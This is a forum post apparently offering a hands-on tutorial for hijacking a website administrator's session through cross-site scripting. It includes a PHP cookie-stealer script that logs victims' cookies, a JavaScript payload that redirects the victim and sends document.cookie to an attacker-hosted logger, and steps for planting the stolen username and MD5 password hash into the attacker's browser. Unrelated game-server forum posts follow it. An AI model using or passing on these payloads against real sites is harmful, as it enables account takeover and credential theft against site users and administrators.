Jump to content

Recommended Posts

Posted

 

 

About

 

In this tutorial, I'll go through the processes of exploiting/manipulating cookies. A cookie, also known as browser cookie, is usually a small piece of data sent from a website and stored in a user's browser while a user is browsing a website. When the user visits the website after closing it, he will have session active because of the cookie retrieved information.

 

Session Hijacking

 

First of all, let's begin by explaining what session hijacking is. Basically, when a user registers at a website, he has his login credentials stored in a database. Upon successfully supplying and retrieval of that information, the user gets logged in. That particular attempt of logging and entering the account is creating a session. Sessions keep users logged throughout their whole browsing of the website.

 

Sessions have a name, value and a domain they are working on. Each session has a unique value which could not be traced normally for different users. However, we could use cross-site scripting (XSS) to grab the user's session ID and MD5 hash value.

 

For the sake of this tutorial, we will use the following:

 

Mozilla Firefox

Firebug (add-on)

Hosted PHP-based cookie stealer

 

Our goal is to steal the admin cookie which contains an active session. This could be done via cross-site scripting (XSS). So our vulnerability must be in the scope of the website we have as a target. We need to design a piece of code that would redirect the administrator upon clicking it to a page where our cookie stealer is located. Let's say we've found a vulnerable message system with a few input fields.

 

xekpz.jpg

 

What we aim to do now is send a small forged Javascript code that contains a false link. But what exactly is the cookie stealer?

 

Cookie Stealer

 

The cookie stealer plays the role of our cookie collector. Whenever our target visits the page with the cookie stealer, it will automatically log his cookies.

 


<?php

$container = $HTTP_GET_VARS['cookie'];
$file = fopen('logger.txt', 'a');
fwrite($file, $container . '\n\n');

?>

 

Upload it to your server (I use 000webhost) with the .php extension, of course. Either with an FTP client like FileZilla or the web-based one.

 

TP7e3.jpg

QCGU9.jpg

 

All that this small piece of code does is the following:

 

With the $container variable we collect/store the cookie itself. The $file variable creates a file that will store the cookie information. And the fwrite() function saves the cookie to the file. Now the \n is used to make a breakline. Practically, it bears the same function of <br /> tag in HTML.

 

Now all that is left is to forge the Javascript code that we are going to use to trick the admin to our cookie stealer.

 

javascript:void(window.location="www.[Censored].com/CookieLogger.php" + document.cookie)

 

The void() function in Javascript indicates that the link will open on the same page. The window.location serves the role of <a href=""> in HTML - Redirecting. And the document.cookie is the part where we grab the cookie from the user.

 

Ok, say we've got the cookie logged successfully. We now need to change our session value to the one we've got.

 

u3ika.jpg

 

strUsername=Administrator%40Account

strPassword=5b3de25c4dba50d2102281633d339b48

 

Now right click and Edit the cookie. That way we'll get the last active session of the administrator.

 

I2gXw.jpg

 

We will do the same thing with the password. But note that it's hashed in MD5.

 

Notice: Do NOT try cracking the hash and then place it's plaintext as a session value. It needs to be hashed in order to be parsed by the server.

 

UHRqz.jpg

 

You can also get to use the session within the URL bar. Delete the address and type:

 

javascript:void(document.cookie="strUsername=Administrator%40Account")

 

Then the same process for the password

 

javascript:void(document.cookie="strPassword=5b3de25c4dba50d2102281633d339b48")

 

That ends the tutorial. Hope you got something out of it. Thanks for reading!

 

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now


  • Posts

    • Dalam World — This is a new gaming project that brings together all the mechanics of your favorite games! I want to say right away that the game will run on all devices: Windows, Linux, macOS (Intel/Apple)! The Dalam World client features advanced graphics that will look great! The client also provides stable FPS even with a huge number of players! Dalam World is not a Salve or Chronicle client ported upward — it’s a completely remade game on its own proprietary game engine! Dalam World servers allow more than 100,000 people to exist in a single world without virtual instances, thanks to server technologies built with Elixir and Rust! Dalam World is the childhood game we love so much! From each of our favorite MMOs we took only the best elements! Low system requirements will let the game run on an old laptop! We redesigned the game so there are no bots or real-money traders! Game website: https://Dalam.World Game forum: https://Dalam.World/forums/ For arbitragers: https://careers.dalam.world/ Discord: https://discord.gg/vbQ347nuxd Telegram: https://t.me/+u1DNZPzscaRmNjYx Opening July 16, 2026 at 16:00 UTC!  
    • I'll give you my wallet if you want, haha
    • To make up for some of the waiting time we’re hosting a 3v3 Tournament on open Beta, and this time we’re raising the stakes with a $1,300 prize pool 💰   🏆 PRIZE POOL BREAKDOWN (Over 2000$ Worth of prices total)   🥇 1st Place — $700 🥈 2nd Place —$300 🥉 3rd Place — $200 🏅 4th Place — $100  5th -6th Place - $100 in Gold Coins each    All Participating Teams: $50 in Gold!   All Prices will be Paid out instantly after the tour, no waiting time and conditions. This is not simply a marketing move, we want to give back to the community.   📅 Date: Wednesday 06.05.2026 ⏰ Time: 20:00 Central European Timezone (Berlin) 📍Format: 3v3   ⚔️Why join? Cash Prices for top 4 and rewards for all participants Payments to winners sent out straight after the tournament - No waiting time or rules that you have to play live server to obtain the reward. Clean format, smooth matches, and solid prize pool and a chance to experience our brand new files   📝How to join: Form your 3-player team Group Leader Sign up here: ⁠📍・3v3-tour-registration (Include Name of Group, Name of Group Leader)   Be ready on match day!     A separate post with rules for the tournament and class setups will follow shortly.   Tag your teammates, lock in your roster, and get ready to compete. We'll be happy to see you on the OBT!   💬 Questions? Ask in ⁠🎫・ticket or send us a message   See you on L2Dark! 😏   Discord: https://discord.gg/FAJwnFpb8M
    • You should check if that condition is supported by your current sources. You can find this in  DocumentBase#parsePlayerCondition If it isnt there and you want to follow the same pattern of the other item conditions, create a custom condition to parse the classId (or multiple class ids) (there are examples to copy the code). Alternatively, you can create your own condition handler. Your condition should look like this: <cond msgId="1518"> <or> <player classId="ADVENTURER" /> <player classId="PALADIN" /> </or> </cond> or <cond msgId="1518"> <or> <player classId="93" /> <player classId="5" /> </or> </cond>  
    • it's Interlude client forgot to mention
  • Topics

×
×
  • Create New...

Important Information

This community uses essential cookies to function properly. Non-essential cookies and third-party services are used only with your consent. Read our Privacy Policy and We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue..